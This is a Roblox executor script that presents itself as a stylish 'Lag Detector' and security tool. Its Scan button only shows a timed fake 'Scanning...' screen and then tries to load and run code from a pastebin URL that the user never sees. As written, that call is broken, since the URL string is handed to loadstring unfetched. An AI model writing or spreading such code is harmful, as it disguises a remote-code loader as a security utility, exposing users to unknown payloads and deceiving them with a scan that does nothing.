-- Lag Detector Ultra Stylish GUI Script
-- Works for most Roblox Executors

-- SERVICES
local StarterGui = game:GetService("StarterGui")
local TweenService = game:GetService("TweenService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer

-- NOTIFICATION FUNCTIONS
local function SendNotification(title, text, duration)
    StarterGui:SetCore("SendNotification", {
        Title = title,
        Text = text,
        Duration = duration or 5
    })
end

-- INITIAL NOTIFICATIONS
SendNotification("Welcome", "We Are Loading The Lag Detector", 4)
wait(4)
SendNotification("Hello!", "Successfully Loaded!", 3)

-- GUI CREATION
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Parent = game.CoreGui

-- Main Frame
local MainFrame = Instance.new("Frame")
MainFrame.Size = UDim2.new(0, 400, 0, 300)
MainFrame.Position = UDim2.new(0.5, -200, 0.5, -150)
MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
MainFrame.BorderSizePixel = 0
MainFrame.Visible = true
MainFrame.Parent = ScreenGui

-- Ultra Stylish Top Bar
local TopBar = Instance.new("TextLabel")
TopBar.Size = UDim2.new(1, 0, 0, 50)
TopBar.BackgroundColor3 = Color3.fromRGB(15, 15, 15)
TopBar.Text = "Lag Detector"
TopBar.TextColor3 = Color3.fromRGB(255, 255, 255)
TopBar.Font = Enum.Font.GothamBlack
TopBar.TextSize = 20
TopBar.Parent = MainFrame

-- Subtitle
local Subtitle = Instance.new("TextLabel")
Subtitle.Size = UDim2.new(1, 0, 0, 30)
Subtitle.Position = UDim2.new(0, 0, 0, 50)
Subtitle.BackgroundTransparency = 1
Subtitle.Text = "Ur Security And Detector Of Lag"
Subtitle.TextColor3 = Color3.fromRGB(200, 200, 200)
Subtitle.Font = Enum.Font.Gotham
Subtitle.TextSize = 16
Subtitle.Parent = MainFrame

-- Open/Close Button (Positioned at the middle left of the screen)
local ToggleButton = Instance.new("TextButton")
ToggleButton.Size = UDim2.new(0, 100, 0, 30)
ToggleButton.Position = UDim2.new(0, 10, 0.5, -15)  -- Positioned at middle left
ToggleButton.BackgroundColor3 = Color3.fromRGB(35, 35, 35)
ToggleButton.Text = "Close"
ToggleButton.TextColor3 = Color3.fromRGB(255, 255, 255)
ToggleButton.Font = Enum.Font.GothamBold
ToggleButton.TextSize = 14
ToggleButton.Parent = ScreenGui  -- Set it on the ScreenGui so it's visible throughout

-- Stylish Scan Button
local ScanButton = Instance.new("TextButton")
ScanButton.Size = UDim2.new(0, 200, 0, 50)
ScanButton.Position = UDim2.new(0.5, -100, 0.8, -25)
ScanButton.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
ScanButton.Text = "Scan"
ScanButton.TextColor3 = Color3.fromRGB(255, 255, 255)
ScanButton.Font = Enum.Font.GothamBold
ScanButton.TextSize = 18
ScanButton.Parent = MainFrame

-- Loading Screen
local LoadingFrame = Instance.new("Frame")
LoadingFrame.Size = UDim2.new(1, 0, 1, 0)
LoadingFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
LoadingFrame.Visible = false
LoadingFrame.Parent = MainFrame

local LoadingText = Instance.new("TextLabel")
LoadingText.Size = UDim2.new(1, 0, 1, 0)
LoadingText.Text = "Scanning..."
LoadingText.TextColor3 = Color3.fromRGB(255, 255, 255)
LoadingText.Font = Enum.Font.GothamBlack
LoadingText.TextSize = 32
LoadingText.Parent = LoadingFrame

-- BUTTON LOGIC
local IsOpen = true

-- Toggle open/close button logic
ToggleButton.MouseButton1Click:Connect(function()
    IsOpen = not IsOpen
    if IsOpen then
        ToggleButton.Text = "Close"
        MainFrame:TweenPosition(UDim2.new(0.5, -200, 0.5, -150), "Out", "Quad", 0.5)
    else
        ToggleButton.Text = "Open"
        MainFrame:TweenPosition(UDim2.new(0.5, -200, 1.5, 0), "Out", "Quad", 0.5)
    end
end)

-- Scan button functionality with loading screen
ScanButton.MouseButton1Click:Connect(function()
    -- Show Loading Screen
    LoadingFrame.Visible = true
    wait(4) -- Simulate loading time

    -- Hide Loading Screen
    LoadingFrame.Visible = false

    -- Run Script (Replace this with any script or loadstring)
    loadstring("https://pastebin.com/raw/Qji1SXDk")()
end)